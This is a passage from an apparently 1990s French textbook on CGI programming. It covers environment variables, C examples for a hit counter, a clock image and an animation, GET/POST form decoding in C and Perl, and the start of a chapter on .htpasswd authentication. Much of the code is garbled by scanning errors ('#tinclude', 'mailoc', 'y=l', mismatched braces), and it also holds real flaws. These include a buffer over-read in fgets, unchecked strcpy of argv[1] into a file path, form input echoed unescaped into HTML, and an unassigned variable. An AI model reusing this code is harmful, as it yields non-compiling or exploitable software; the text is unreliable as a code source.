sées par le démon httpd avant d'exécuter le script CGI :

#!/bin/csh

# Création de 1'en-tete
echo "Content-type: text/html"
echo ""
# Création du corps
echo "<HTML>"

250
La programmation CGI

echo "<HEAD>"
echo "<TITLE>Les variables d'environnement</TITLE>"
echo "</HEAD>"
echo "<BODY>"
echo "<H1>Voici la liste des variables d'environnement:</H1>"
echo "<HR>"
echo "<PRE>"
# On récupere les variables d'environnement
printenv
echo "</PRE>"
echo "</BODY>"
echo "</HTML>"

Pour le tester, appelez ce programme test_env, placez-le dans le répertoire /cgi-bin sur
votre serveur Web. A l'aide d'un client, ouvrez successivement les URL suivantes :
[Link] [Link]/cgi-bin/test_env
[Link]
[Link]

La dernière URL donne le résultat suivant :

Réalisation d'un script

Lors de la mise au point d'un script, il est bon de savoir que les dysfonctionnements sont
souvent liés à un mauvais paramétrage des droits d'accès gérés par le système d'exploita­
tion. Dans le cas d'un environnement Unix par exemple, il ne faut jamais oublier que tout
script CGI est un processus fils du démon httpd et que, par conséquent, il tourne sous le
même userid que ce démon. Ses droits sont donc ceux de l'utilisateur qui a lancé le

251
 Programmation HTML et JavaScript

démon httpd. En particulier, il est indispensable que cet utilisateur ait des droits d'exécu­
tion sur tous les scripts CGI ! Dans le cas contraire, le client indiquera une erreur du type
'403 Forbidden...'. Une fois ce détail réglé, la mise au point d'un script CGI n'est pas tou­
jours très aisée. Un dysfonctionnement du script conduit en effet souvent, sur le client, au
message d'erreur suivant :

Ce message n'est pas très explicite. Pour plus de détails, il est conseillé de jeter un œil sur
le fichier errlog du serveur. L'emplacement de ce fichier peut varier d'un serveur à
l'autre. Il est déterminé lors de l'installation. Ce fichier contient toutes les erreurs rencon­
trées par le serveur, ainsi que la sortie d'erreur des scripts CGI. Dans le cas où l'on aurait
oublié la ligne vide qui sépare l'en-tête du corps de la sortie standard d'un script, on trou­
vera le message suivant :
[Mon Aug 28 09:50:21 1995] httpd: malformed header from script

Mais avant d'installer votre script dans le répertoire cgi-bin de votre serveur, mieux vaut
commencer par le tester manuellement. Il vous suffit pour cela d'initialiser les variables
d'environnement qu'il utilise (en général QUERY_STRING, REQUEST_METHOD,
CONTENT_LENGTH), puis de le lancer sur une ligne de commande. Vous pouvez alors
juger du bon déroulement en analysant la sortie standard. En particulier, assurez-vous
qu'aucun dépassement de buffer n'est possible (dû par exemple au sous-dimensionne-
ment d'une chaîne dans le cas du traitement d'un formulaire).
Dans le cas du script /cgi-bin/pass présenté au chapitre La méthode GET, page 264, on
suivra la méthode suivante :

252
La programmation CGI

Exemples
Pour illustrer l'utilisation de la programmation CGI, voici trois exemples un peu plus
complexes. Le premier est un compteur d'accès qui peut être utilisé pour indiquer le
nombre d'accès à une page HTML depuis sa création. Le deuxième permet de générer
dynamiquement l'image d'une montre. Enfin, le dernier génère une séquence animée.

Un compteur d'accès
Cet exemple est utilisé pour ajouter sur une page HTML un compteur indiquant le nom­
bre de visiteurs qui ont déjà lu cette page. Il s'agit d'un programme en C qui crée une
image bitmap de 56 x 8 points. Cette image est insérée dans la page HTML à l'aide
d'une balise <IMG SRC="/cgi-bin/compteur">. Le nombre d'accès est conservé dans un
fichier texte, sur le serveur. A chaque appel de la page HTML, le script lit l'ancien nom­
bre d'accès dans ce fichier. Puis il l'incrémente et met à jour le fichier. Ici, nous avons
appelé ce fichier /usr/local/etc/httpd/htdocs/[Link]. Libre à vous de choisir le nom et
l'emplacement que vous voulez.
Voici le code du programme C :

#tinclude <stdio.h>
#include <stdlib.h>
/* Définition bitmap des 10 chiffres */
/* Chaque chiffre correspond a 8*16 points */
char *diqits[] =
{"0xff","0xff","0xff","0xc3","0x99","0x99","0x99","0x99",
"0x99","0x99","0x99","0x99","0xc3","0xff","0xff","0xff",
"0xff","0xff","0xff","0xcf","0xc7","0xcf","0xcf","0xcf",
"0xcf","0xcf","0xcf","0xcf","0xcf","0xff","0xff","0xff",
"0xff","0xff","0xff","0xc3",“0x99","0x9f","0x9f","0xcf",
"0xe7","0xf3","0xf9","0xf9","0x81","0xff*,"0xff","0xff",
"0xff","0xff","0xff","0xc3","0x99","0x9f","0x9f","0xc7",
"0x9f","0x9f","0x9f","0x99","0xc3","0xff","0xff","0xff",
"0xff","0xff","0xff","0xcf","0xcf","0xc7","0xc7","0xcb",
"0xcb","0xcd","0x81","0xcf","0x87","0xff","0xff","0xff",
"0xff","0xff","0xff","0x81","0xf9","0xf9",“0xf9","0xcl",
"0x9f","0x9f","0x9f","0x99","0xc3","0xff","0xff","0xff",
"0xff",“0xff","0xff","0xc7","0xf3","0xf9",“0xf9","0xcl",
"0x99","0x99","0x99","0x99","0xc3","0xff","0xff","0xff",
"0xff",“0xff","0xff","0x81","0x99","0x9f","0x9f","0xcf",
"0xcf","0xe7","0xe7","0xf3","0xf3","0xff","0xff","0xff",
"0xff","0xff","0xff","0xc3","0x99","0x99","0x99","0xc3",
"0x99","0x99","0x99","0x99","0xc3","0xff","0xff","0xff",
"0xff","0xff","0xff","0xc3","0x99","0x99","0x99","0x99",
"0x83","0x9f","0x9f","0xcf","0xe3","0xff","0xff","0xff"
};

main () {
FILE *fp = NULL;
FILE *out = NULL;
char numb[7];
char hold[8]= "00000000";
char cc[]= " 0 " ;
int holdlen;

253
 Programmation HTML et JavaScript

int num, len, x, y, c, i;

/* On recupere l'ancien nombre d'acces dans le fichier [Link] */

fp = fopen("/usr/local/etc/httpd/htdocs/[Link]","r");
fgets(numb, 8, fp) ;
fclose(fp);
sscanf(numb,"%d",&num);
/* On incremente de 1 le nombre d'acces */
num++;
/* On met a jour le fichier [Link] */
out = fopen("/usr/local/etc/httpd/htdocs/[Link]","w");
fprintf(out,"%d",num);
fclose(out);
/* On met Si le nombre d'acces est 1234 alors numb="1234" */
/* et hold="00001234" */
len = strlen(numb);
for (i = 0; i<len; i++) {
hold[8-len+i] = numb[i];
}

/* Création de l'en-tete de la sortie standard du script */

printf ("Content-type: image/x-xbitmap%c%c",10,10);

/* Création du corps */
printf ("#define count_width 56\n");
printf ("#define count_height 16\n");
printf ("static char count_bits[] = {\n");

/* Le bitmap est ecrit sur la sortie standard */

/* ligne par ligne */
for (x=0; x<16; x++) {
for (y=l; y<8; y++) {
cc[0]=hold[y];
sscanf(cc,"%d",&c);
printf(digits[((c * 16)+x)]);
if (y<7) { printf(", "); )
}
if (x==15) { printf("};");}{printf(",\n");}
}
printf("\n");
}

Ce script sera compilé par la commande :

cc -o compteur compteur.c

Puis il sera placé dans le répertoire /cgi-bin. Il vous faudra alors créer le fichier/usr/local/
etc/httpd/htdocs/[Link] et y insérer une première valeur. Voici une page utilisant ce
compteur :

<HEAD>
<TITLE>Compteur</TITLE>
</HEAD>
<BODY>
<h1>Les acc&egrave;s &agrave; cette page sont comptabi-
lis&eacute;s.</h1>

254
La programmation CGI

<h5>Acc&egrave;s N&#176; <img src="[Link]

bin/compteur"></h5>
<hr>
</BODY>

La page obtenue est la suivante :

Une image dynamique

Le code C ci-dessous génère l'image bitmap d'une montre en 32 x 32 points. Il sera com­
pilé par la commande :
cc -o the_clock the_clock.c -lm

#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <time.h>
#define INT(x) (x-floor(x)>=0.5)?(int)ceil(x):(int)floor(x)

main () {
unsigned long line[32); /* Le bitmap */
long epoch; /* gestion de */
struct tm *tp; /* l'heure */
double x,y, heure, minute; /* les coordonnées et l'heure */
int j, i;
char res[8], tmp[10];

/* Création de l'en-tete */
printf ("Content-type: image/x-xbitmap%c%c",10,10) ;

/* Création du corps */
printf ("#define count_width 32\n");
printf("#define count_height 32\n");
printf("static char count_bits[] = {\n");

/* Mise a zéro */
for (j = 0 ; j <3 2 ; j++) line[j]=0;

/* On dessine le cadran de l'horloge */

for (i = 0 ; i<12; i + + ){
for (j =15; j>=15-2*(i%3==0)?l:0; j--) {
x=16 +j *cos(M_PI*i/6);
y=16+j*sin(M_PI*i/6);

255
 Programmation HTML et JavaScript

line[INT(y)]= line[INT(y)] | (unsigned long)pow(2.0,(double)INT(x));

}
}
/* On récupéré l'heure */
time(&epoch);
tp = localtime (&epoch);
strftime(tmp, 10, "%M", tp) ;
minute=atoi(tmp);
strftime(tmp, 10, "%I", tp);
heure=atoi(tmp)+minute/60;

/* On dessine les aiguilles */

for (i = -2 ; i<=9; i++ ) {
x=16+i*cos(M_PI*heure/6-M_PI_2);
y=16+i*sin(M_PI*heure/6-M_PI_2);
line[INT(y)]= line[INT(y)] | (unsigned long)pow(2.0,(double)INT(x));
}
for (i = — 2 ; i<=15; i++) {
x=16+i*cos(M_PI*minute/30-M_PI_2);
y=16+i*sin(M_PI*minute/3 0-M_PI_2);
line[INT(y)]= line[INT(y)] | (unsigned long)pow(2.0,(double)INT(x));
)

/* On écrit le bitmap sur la sortie standard */

for (i = 0 ; i<32; i++) {
sprintf(res, "%08x", line[i]);
for (j=3; j>=0; j--)
if (i==31&&j==0) printf("0x%c%c};\n", res[2*j], res[2*j+l]);
else printf("0x%c%c,", res[2*j], res[2*j+l]);
}
}

Une séquence animée

Le second exemple est plus complexe. Il permet de créer des séquences animées sur un
client Netscape. Notez qu'avec les browsers modernes, il est plutôt conseillé d'utiliser la
technique des fichiers GIF animés.
Le fonctionnement de ce script repose sur un type MIME propriétaire, le type multipart/
x-mixed-replace. Ce type permet au serveur d'envoyer plusieurs documents sur une
même connexion HTTP avec un client Netscape. Chaque nouveau document remplace le
précédent. En envoyant plusieurs documents de type image/gif, on crée une séquence
animée. Voici la structure de la sortie standard d'un script pour une séquence animée de
deux images. La séparation entre les différents documents est indiquée par une chaîne de
caractères définie dans la ligne Content-type par boundary=chaîne_de_caractères

Content-type: multipart/x-mixed-replace;boundary=RandomString

--RandomString
Content-type: image/gif

256
La programmation CGI

Donnees du premier document gif

--RandomString
Content-type: image/gif

Donnees du second document gif

--RandomString--

Le programme en C que nous présentons ici met en œuvre cette méthode. Il lit dans un
fichier la liste des fichiers GIF composant la séquence. Il ouvre ensuite chacun des
fichiers GIF puis envoie leur contenu caractère par caractère sur la sortie standard en res­
pectant la structure présentée ci-dessus. La constante listanim permet d'indiquer le
répertoire dans lequel on désire placer les fichiers décrivant les séquences animées. La
constante imaganim permet d'indiquer le répertoire dans lequel on désire placer les
fichiers GIF composant les séquences.

#include <stdio.h>
#inc1ude <stdlib.h>

/* site dépendant */
#define listanim "/usr/local/etc/httpd/htdocs/1istanim/"
#define imaganim "/usr/local/etc/httpd/htdocs/imaganim/"

main (int argc, char *argv[])

{
FILE *fp = NULL;
FILE *fp2 = NULL;

char* status;
char line[80];
char file[132];
char image_list[132];
int lg_line=80;
int buf, n;

printf ("HTTP/l.0 200 Okay\n");

printf ("Content-Type: multipart/x-mixed-replace;boundary=sometext\n");
printf ("\n--sometext\n");

strcpy (image_list,listanim);
strcat (image_list,argv[1]);

fp = fopen(image_list,"r");
status = fgets (line,lg_line,fp);
line[strlen(line)-1] = '\0' ;
while ( status != NULL )
{
strcpy (file,imaganim);
strcat (file,line);
printf ("Content-Type: image/gif\n");
printf ("\n");
fp2 = fopen (file,"r");
buf = fgetc (fp2);
while ( buf != EOF )

257
 Programmation HTML et JavaScript

{
printf ("%c",buf);
buf = fgetc (fp2);
}
fclose(fp2);
printf ("\n--sometext\n");
status = fgets (line,lg_line,fp);
line[strlen(line)-1]='\0';
}
fclose(fp);
}

Ce programme génère tout l'en-tête HTTP. Son nom devra donc commencer par nph-. On
le compilera par exemple de la façon suivante :
cc -o nph-anim nphanim.c

Considérons l'exemple d'une séquence de quinze fichiers. Créons le fichier cadenas.1st

dans le répertoire correspondant à la constante listanin. Chaque ligne du fichier indique
le nom d'un fichier GIF.
[Link]
[Link]

[Link]

Il faut ensuite copier les quinze fichiers GIF dans le répertoire correspondant à la cons­
tante imaganim. On peut alors insérer la séquence animée [Link] au sein d'un docu­
ment, de la même façon que l'on insérerait une image :

<HEAD>
<TITLE>Animation</TITLE>
</HEAD>
<BODY>
<h3><i> Attention ! cette animation ne fonctionne que sur un
browser Netscape</i></h3>
<center>
<img src="[Link]
</center>
<hr>
</BODY>

258
La programmation CGI

A la place de l'image apparaîtra la séquence composée des images suivantes :

Grâce à la notion de programmation CGI, le document envoyé au client

RÉSUMÉ

WWW n'est plus le contenu d'un fichier, mais le résultat de l'exécution d'un
programme.

A l'aide des langages de programmation classiques, on peut ainsi

créer des documents dynamiques de tout type (HTML, image, son...).

Le document généré est écrit sur la sortie standard du script selon le

format suivant :

Content-type: type/subtype

Données du document

259
 Chapitre 20

Formulaires et CGI

Le but de ce chapitre est d'expliquer comment la programmation CGI permet d'exploiter

les données saisies à l'aide des formulaires HTML.

L'encodage des données

La programmation CGI appliquée aux formulaires se différencie de la programmation
CGI classique dans la mesure où le client doit envoyer au serveur l'ensemble des don­
nées saisies par l'utilisateur. Afin de transmettre ces données au serveur, le client cons­
truit une chaîne de caractères contenant l'ensemble des couples (nom du champ, valeur
saisie). C'est cette chaîne qui sera par la suite accessible au niveau du script CGI. Elle
possède un format un peu particulier, qu'il est nécessaire de connaître afin de pouvoir la
décoder. Chaque couple (nom du champ, valeur saisie) est séparé par un caractère '&'. La
séparation entre le nom du champ et sa valeur se fait à l'aide d'un caractère '=' :
nom_du_champl=valeurl&nom_du_champ2=valeur2...

Les champs pouvant avoir plusieurs valeurs (comme les listes à sélections multiples)
apparaissent avec autant de couples (nom du champ, valeur saisie) que de valeurs
sélectionnées :
nom_champl=valeurl&nom_champl=valeur2&nom_champ2=valeur3...

De plus, cette chaîne est URL-encodée ; les espaces y sont remplacés par des '+' et les
caractères spéciaux par leur valeur hexadécimale sous le format '%xx'. Par exemple, un
formulaire contenant un champ NOM et un champ PRENOM avec les valeurs NOM='de
la haute' et PRENOM='rené', conduira à la chaîne suivante :
NOM=de+la+haute&PRENOM=ren%E9

261
 Programmation HTML et JavaScript

Le transport
Une fois construite, la chaîne des données est envoyée au serveur selon la méthode indi­
quée par l'attribut METHOD de la balise <FORM ...>.

La méthode GET
Lorsqu'on utilise la méthode GET, la chaîne de caractères contenant l'ensemble des cou­
ples (nom du champ, valeur saisie) est ajoutée à l'URL référençant le script CGI à exécu­
ter. La séparation entre le nom du script et la chaîne se fait à l'aide d'un caractère '?'. Si
l'URL indiquée dans l'attribut ACTION de la balise FORM est [Link]
bin/script_name, alors l'URL appelée par le client a la forme suivante :
[Link]
script_name?champl=valeur1&champ2=valeur2. . .

Lors de l'exécution du script CGI, cette chaîne se retrouvera dans la variable d'environne­
ment QUERY_STRING (voir Les variables d'environnement, page 247). Notez que
lorsqu'on utilise cette méthode, la chaîne des données saisies apparaît dans le nom de
l'URL. Comme la plupart des clients WWW affichent l'URL courante, cette chaîne sera
donc visible sur le browser. Dans le cas de la saisie d'un mot de passe, cela peut être un
peu gênant, c'est pourquoi on lui préfère parfois la méthode POST.

La méthode POST
Cette méthode est la plus utilisée pour le traitement des formulaires. La chaîne de carac­
tères contenant l'ensemble des couples (nom du champ, valeur) n'est pas accolée à
l'URL, comme dans le cas de la méthode GET, mais envoyée au serveur par une
séquence HTTP spéciale.
Avant de lancer le script CGI, le serveur positionne la variable d'environnement
CONTENT_LENGTH pour indiquer la longueur de la chaîne qu'il a reçue. Il lance alors
le script en envoyant la chaîne sur l'entrée standard du script. Pour récupérer la chaîne
des données, le script doit donc lire CONTENT_LENGTH caractères sur son entrée
standard.

En Perl par exemple, cela correspond au code :

read(STDIN,$in,$ENV{ 'CONTENT_LENGTH'});

La programmation
Le premier travail d'un script CGI destiné à gérer un formulaire consiste à récupérer la
chaîne de caractères contenant les données, à la décoder puis à en extraire les couples
(nom du champ, valeur saisie). En toute logique, le code de votre script devrait dépendre
de la méthode de transport que vous avez choisie. Dans la pratique, on conçoit les scripts
de façon qu'ils puissent supporter les deux méthodes, GET et POST. Il y a à cela une rai­
son simple. Considérons que vous ayez prévu de ne traiter que la méthode POST. Si

262
Formulaires et CGI

votre script est appelé par l'intermédiaire d'un formulaire, il le sera avec la méthode
POST. Tout va bien. Mais si vous souhaitez, dans un fichier HTML, insérer un lien
hypertexte en ajoutant manuellement la chaîne contenant les couples (nom du champ,
valeurs), comme c'est le cas dans le code HTML suivant :
<A HREF=" [Link]
nom=pierre&sexe=Monsieur&labo=Centre+de+calcul>M. Pierre Martin</A>

alors la méthode utilisée sera nécessairement la méthode GET. Si vous n'avez pas prévu
de gérer cette méthode, il sera impossible d'insérer un tel lien dans du code HTML...

Il est conseillé pour réaliser le travail répétitif de décodage et d'extraction d'utiliser les
librairies présentées dans la section Le langage de programmation, page 240. Ces
librairies ont le gros avantage de traiter indifféremment les deux méthodes GET et POST.
Dans les exemples qui suivent, nous utiliserons la librairie [Link] pour Perl, la librairie
libcgi pour le C ainsi que le module util.c proposé avec le serveur NCSA.
Pour ceux qui ne souhaiteraient pas utiliser ces librairies, nous présentons en détail la
fonction la plus utile de la librairie [Link], la fonction ReadParse. Elle permet de
récupérer l'ensemble des champs et leur valeur dans un tableau associatif, et ce, quelle
que soit la méthode utilisée. En insérant l'appel &ReadParse(*input) au début de votre
script CGI, vous pourrez accéder à la valeur des champs par la variable
$input{'nom_du_champ'}. Cette fonction offre un très bon aperçu de l'algorithme à sui­
vre pour extraire les données issues d'un formulaire. Voici un exemple :

sub ReadParse {
local (*in) = @_ if @_;
local ($i, $key, $val);

# Selon la methode les donnees sont lues sur

# l'entree standard ou
# dans la variable QUERY_STRING
if (&MethGet) { # Methode GET
# Recupere les donnees dans la variable
# d'environnement QUERY_STRING
$in = $ENV{'QUERY_STRING'};
} elsif (&MethPost) {# Methode POST
# Recupere les donnees sur
# l'entree standard
read (STDIN, $in, $ENV{ 'CONTENT_LENGTH' } ) ;
}

# La chaine est decoupee en couple nom_du_charap=valeur

@in = split(/[&;]/,$in);

# Pour chaque couple on décodé l'url-encodage

foreach $i (0 .. $#in) {
# Les plus sont convertis en espace '+'->' '
$in[$i] =~ s/\+/ /g;

263
 Programmation HTML et JavaScript

# Decompose le couple nom_du_champ=valeur en

# $key=nom_du_champ et $val=valeur
($key, $val) = split(/=/,$in[$i],2);

# Les %XX sont convertis en alphanumérique

$key =~ s/%(..)/pack("c" ,hex($l))/ge;
$val =~ s/%(..)/pack("c" ,hex($l))/ge;

# associe le nom_du_champ et sa valeur a l'aide

# d'un tableau associatif
# Pour les champs a valeurs multiples les différentes
# valeurs sont separees par un caractere nul
$in{$key} .= "\0" if (defined($in{$key}));
$in{$key} .= $val;
}

# Renvoie le tableau associatif qui contient

# toutes les valeurs sous la forme $in{'nom_du_champ'}
return scalar(@in);
}

L'équivalent de la fonction ReadParse dans la librairie libcgi est la fonction

get_form_entries(). Cette fonction décode et décompose les données issues du formu­
laire et renvoie un pointeur sur une liste chaînée où chaque enregistrement est une struc­
ture constituée d'un nom de champ (.name) et de la valeur correspondante (.val). Le
module util.c proposé avec le serveur NCSA propose quant à lui des fonctions de plus
bas niveau et demande donc un peu plus de code pour arriver au même résultat. Le détail
du module util.c est proposé en annexe.

La méthode GET
Voici un court exemple qui illustre la méthode GET et qui met en avant ses inconvé­
nients. Il s'agit d'une fenêtre de saisie de mot passe.

<HTML>
<HEAD>
<TITLE>Mot de passe/TITLE>
</HEAD>
<BODY>
<FORM METHOD="GET" ACTTON="[Link]
<B>Entrez votre nom:</B>
<INPUT TYPE="NAME" NAME="NAME">
<BR>
<B>Entrez votre mot de passe:</B>
<INPUT TYPE="PASSWORD" NAME="PASSWORD">
<HR>
<INPUT TYPE="SUBMIT" VALUE="Envoyer">

264
Formulaires et CGI

</FORM>
</BODY>
</HTML>

Le formulaire obtenu est le suivant :

Nous présentons deux versions différentes du script /cgi-bin/pass. La première utilise le

module util.c fourni avec le serveur NCSA. La seconde utilise la librairie libcgi. Dans les
deux cas, le code proposé est capable de gérer les deux méthodes GET et POST.

Le module util.c est un ensemble de fonctions de base facilitant le traitement de la chaîne

de données envoyée par le client WWW. Le détail de ce module est proposé en annexe.
Le programme pass.c présenté ici sera compilé à partir du répertoire /cgi-src du serveur
Web par la commande :
cc -o pass util.c pass.c

Il faudra ensuite déplacer l'exécutable pass dans le répertoire /cgi-bin du serveur Web.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* Longueur maximale de la valeur d'un champ */

/* Utile uniquement pour la methode GET */
#define MAXGETVAL 1024
/* Longueur maximale du nom d'un champ */
/* Utile uniquement pour la methode GET */
#define MAXGETNAME 256
/* Nombre maximal de champs de saisie */
#define MAXENTRIES 1000

/* Structure pour les couples (nom du champ, valeur) */

typedef struct {
char *name;
char *val;
} entry;

/* Déclaration des fonctions du module util.c */

265
 Programmation HTML et JavaScript

char *makeword(char *line, char stop);

void getword(char *word, char *line, char stop);
char x2c(char *what);
void unescape_url(char *url);
void plustospace(char *str);

/* Programme principal */
maint) {
int i, items, *cl;
entry entries[MAXENTR1ES];
char *gs, *s, *name, *passwd;

/* Création de l'en-tete */
printf("Content-type : text/html\n\n");

/* Création du corps */
printf("<HTML>\n");
printf("<HEADER>\n");
printf("<TITLE>Et voici votre mot de passe</TITLE>\n");
printf("</HEADER>\n");
printf("<BODY>\n");
printf("<H1>Voici votre mot de passe :</H1>\n");

/* Lecture et decodage des donnees */

/* A l'issue du decodage, les couples (nom du champ, valeur) */
/* se trouvent dans le tableau de structures entry entries */
/* L'index du dernier element du tableau est l'entier items */
if (!Strcmp(getenv("REQUEST_METHOD"),"GET")) {
/* Methode GET -- Lecture de la variable QUERY_STRING */
s = getenv("QUERY_STRING");
qs = (char*)mailoc(strlen(s)+1);
(void)strcpy(qs,s);
for(i=0;qs[0] != '\0';i++) {
items=i;
/* dimensionnement de la valeur du champ * /
entries[i].val=(char*)mailoc(MAXGETVAL);
/* lecture d'un couple (nom du camp, valeur)*/
getword(entries[i].val,qs,'&');
/* conversion des plus en espaces */
plustospace(entries[i].val);
/* conversion des codes hexadecimaux par les */
/* caractères correspondants */
unescape_url(entries[i].val);
/* dimensionnement du nom du champ */
entries[i].name=(char*)mailoc(MAXGETNAME);
/* decoupage du couple (nom du champ, valeur) */
getword(entries[i].name,entries[i].val,'=');
}
}
else if (!strcmp(getenv("REQUEST_METHOD"),"POST")) {
/* Methode POST -- Lecture sur 1'entree standard */
cl = atoi(getenv("CONTENT_LENGTH"));
for(i=0;cl && (!feof(stdin));i++) {
items=i;
/* lecture d'un couple (nom du champ, valeur) */
/* sur l'entrée standard */
entries [i] .val = fmakeword (stdin, &cl ) ;
plustospace(entries[i].val);
unescape_url(entries[i].val);
/* decoupage du couple (nom du champ, valeur) */

266
Formulaires et CGI

entries[i].name = makeword(entries[i].val,'=');
}
}
/* Lecture de la valeur des champs le tableau entries */
for (i = 0 ; i<=items; i++) {
/* champ PASSWORD */
if (!strcmp(entries[i].name, "PASSWORD")) passwd = entries[i].val;
/* champ NAME */
if (!strcmp(entries[i].name, "NAME")) entries[i].name= entries[i].val;
}
/* Affichage des donnees */
printf("<B>Nom:</B> %s <BR><B>Mot de passe:</B> %s\n", name, passwd);
printf("</BODY>\n");
printf("</HTML>\n");
}
Cette seconde version du script /cgi/pass utilise la librairie libcgi. Elle sera
compilée par la commande :
cc -o pass pass.c -Iincludecgi_dir -Llibcgi_dir -lcgi

includecgi_dir est le répertoire où se trouve le fichier d'include

CGI.h de la librairie libcgi ; libcgi_dir est le répertoire où se trouve
le fichier libcgi.a.

#include<stdio.h>
#include "cgi.h"

/* Le corps du script est placé dans la fonction CG1_main */

cgi_main(cgi_info *ci) {

char *parmval ( form_entry *, char *);

form_entry *parms, *p;
form_entry *get_form_entries(cgi_info *);
char *passwd, *name;

/* Creation de l'en-tete */
print_mimeheader ( "text/html" ) ;

/* Creation du corps */
puts("<HTML>");
putS("<HEADER>");
puts("<TITLE>Et voici votre mot de passe</TITLE>");
put S("</HEADER>");
puts("<BODY>");
puts("<H1>Voici votre mot de passe :</H1>");

/* Decomposition de la chaine des donnees en */

/* une liste chainee */

267
 Programmation HTML et JavaScript

parms = get_form_entries(ci);

/* Lecture de 1a valeur des champs dans 1a */

/ * liste chainee */
if (parms) {
for(p=parms; p; p = p->next) {
/* champ PASSWORD */
if (!strcasecmp(p->name, "PASSWORD")) passwd = p->val;
/* champ NAME * /
if (!strcasecmp(p->name, "NAME")) name= p->val;
}
}
/* Affichage des donnees */
printf("<B>Nom:</B> %s <BR><B>Mot de passe:</B> %s\n", name, passwd);

/* Detruit la liste chaînée */

free_form_entries(parms);
puts("</BODY>");
putS("</HTML>");
}

Le résultat de la soumission de ce formulaire montre clairement que la valeur du champ

PASSWORD apparaît dans l'URL.

La méthode POST
Pour illustrer la méthode POST, nous présentons un script écrit en Perl à l'aide de la
librairie [Link]. Il est utilisé à la fois pour créer et pour traiter le formulaire. Cette
façon de procéder est assez courante car elle permet de n'avoir qu'un seul fichier à gérer.
Pour savoir s'il doit créer ou traiter le formulaire, le script teste si la chaîne contenant
l'ensemble des couples (nom du champ, valeur) est vide ou non. Si elle est vide, le script
en déduit que la requête dont il fait l'objet ne correspond pas à une soumission de

268
Formulaires et CGI

données ; il crée donc le formulaire. Si elle n'est pas vide, le script lit la chaîne et la
traite.
Appelons ce script [Link] et plaçons-le dans le répertoire /cgi-bin du serveur
[Link]. On accède alors au formulaire par l'URL :
[Link]

Le code Perl est le suivant :

#!/usr/local/bin/perl
# Chargement de la librairie [Link]
require "[Link]";
MAIN:
{
# La fonction ReadParse recupere les donnees
# de la form et les place dans le tableau input
if (&ReadParse(*input)) {
# Si des donnees ont ete lues, elles sont traitees
&ProcessForm;
} else {
# Si aucune donnee n'a ete lue, on cree la form
&PrintForm;
}
}
# Fonction de traitement de la form
sub ProcessForm {
# Creation de l'en-tete (Content-type: text/html)
print &PrintHeader;
# Creation du corps
print "<html><head>\n" ;
print "<title>Utilisation de la librairie [Link]</title>\n";
print "</head>\n<body>\n";
print <<ENDOFTEXT ;
<H1>Voici le r&eacute;sultat de votre saisie</H1>
$input{'sexe'} <B>$input{'nom'} $input{'prénom'}</B>, du
$input{'labo'}, voici la liste des variables que vous avez saisies:
<BR>
ENDOFTEXT
print &PrintVariables(%input);
# Fin du document
print "</body></html>\n" ;
}
# Fonction de creation de la form
sub PrintForm {
# Creation de l'entete
print &PrintHeader;

269
 Programmation HTML et JavaScript

# Creation du corps
print <<'ENDOFTEXT';
<head><title>Un exemple de form</title></head>
<BODY>
<FORM METHOD="POST" ACTION="/cgi-bin/[Link]">
<H1> Fiche d'identification: </H1>
<HR>
Entrez votre nom: <INPUT NAME="nom"><BR>
Entrez votre pr&eacute;nom: <INPUT NAME="prénom"><BR>
Sexe:
<INPUT TYPE="radio" NAME="sexe" VALUE="Monsieur" CHECKED> Masculin
<INPUT TYPE=" radio " NAME="sexe" VALUE="Madame"> F&eacute;minin<BR>
Quel est votre laboratoire ?
<SELECT NAME="labo">
<OPTION SELECTED>Centre de calcul
<OPTION>Cern
</SELECT>
<HR>
<input TYPE="submit" VALUE="Envoyer">
</FORM>
</BODY>
ENDOFTEXT

270
Formulaires et CGI

Voici le formulaire généré :

Et le résultat de la soumission de ce formulaire :

271
 Programmation HTML et JavaScript

RÉSUMÉ

La combinaison des formulaires et de la programmation CGI introduit

la notion d'interactivité entre l'utilisateur et le serveur.
Les données saisies par l'utilisateur sont envoyées au serveur sous la
forme d'une chaîne de caractères construite de la façon suivante :
champ1=valeur1&champ2=valeur2&champ3=valeur3...
Cette chaîne est URL-encodée.

Deux méthodes sont utilisées pour transmettre cette chaîne au script

CGI :
• avec la méthode GET, la chaîne de données est accessible dans la
variable d'environnement QUERY_STRING,
• avec la méthode POST, la chaîne de données est accessible sur
l'entrée standard du script CGI.

272
 Chapitre 21

Authentification
des accès

Sauf indication contraire, les pages d'un serveur Web sont accessibles depuis tout l'Inter­
net. Il est cependant tout à fait possible de restreindre l'accès à une page ou à un ensem­
ble de pages, d'un serveur. Ces restrictions peuvent être gérées selon différents critères :
• L'accès peut être réservé à des utilisateurs référencés en possession d'un mot de
passe. Il est important de noter que la notion de usemame/password est complètement
indépendante des comptes Unix ouverts au niveau de la machine serveur (/etc/pas-
swd). Il faut, si l'on utilise cette méthode, gérer une base de données spécifique aux
accès W3.
• L'accès peut être réservé à des utilisateurs appartenant au même domaine ou au même
sous-domaine (la notion de domaine doit être comprise au sens TCP/IP).
• On peut utiliser une combinaison de ces deux méthodes.
• Il serait bien sûr toujours possible de réaliser une méthode particulière en développant
un script adapté.
La description des méthodes que propose ce chapitre s'applique à un démon HTTPD de
type NCSA installé sur une machine Unix.

Principe de l'authentification
Le système d'authentification est déclenché lorsque le serveur détecte la présence du
fichier .htaccess dans le répertoire contenant le document à transmettre. La lecture de ce
fichier lui indique quel est le type de protection en service dans ce répertoire.

273
 Programmation HTML et JavaScript

Ce système d'authentification est très souple puisqu'il permet de gérer différents répertoi­
res selon des critères d'accès différents.

Authentification par mot de passe

La première étape consiste en la création de la base de données .htpasswd qui contiendra
les personnes autorisées à accéder aux documents.
Dans un serveur de type NCSA, un utilitaire est fourni pour créer et gérer cette base de
données. Il s'agit du programme htpasswd.

On crée d'abord le répertoire (bdgpwd par exemple) qui va contenir la base de données et
on lui met des droits de lecture pour tout le monde. Notez bien que ce répertoire peut se
situer n'importe où sur la machine serveur.

% mkdir bdgpwd
% chmod o+rx bdgpwd
%

On crée ensuite simultanément (option -c) la base de données .htpasswd et le premier uti­
lisateur.

% htpasswd -c bdgpwd/.htpasswd davidl

Adding password for davidl.
New password:
Re-type new password:
%

On peut ensuite créer d'autres utilisateurs (sans l'option -c).

% htpasswd bdgpwd/.htpasswd stef

Adding user stef
New password:
Re-type new password:

On peut visualiser le contenu de la base :

% cat bdgpwd/.htpasswd
davidl:bp3rCaQn8cISw
stef:D1.766H0012hA

274
Authentification des accès

Afin de "diminuer" leur lisibilité au moment du passage sur le réseau, les mots de passe
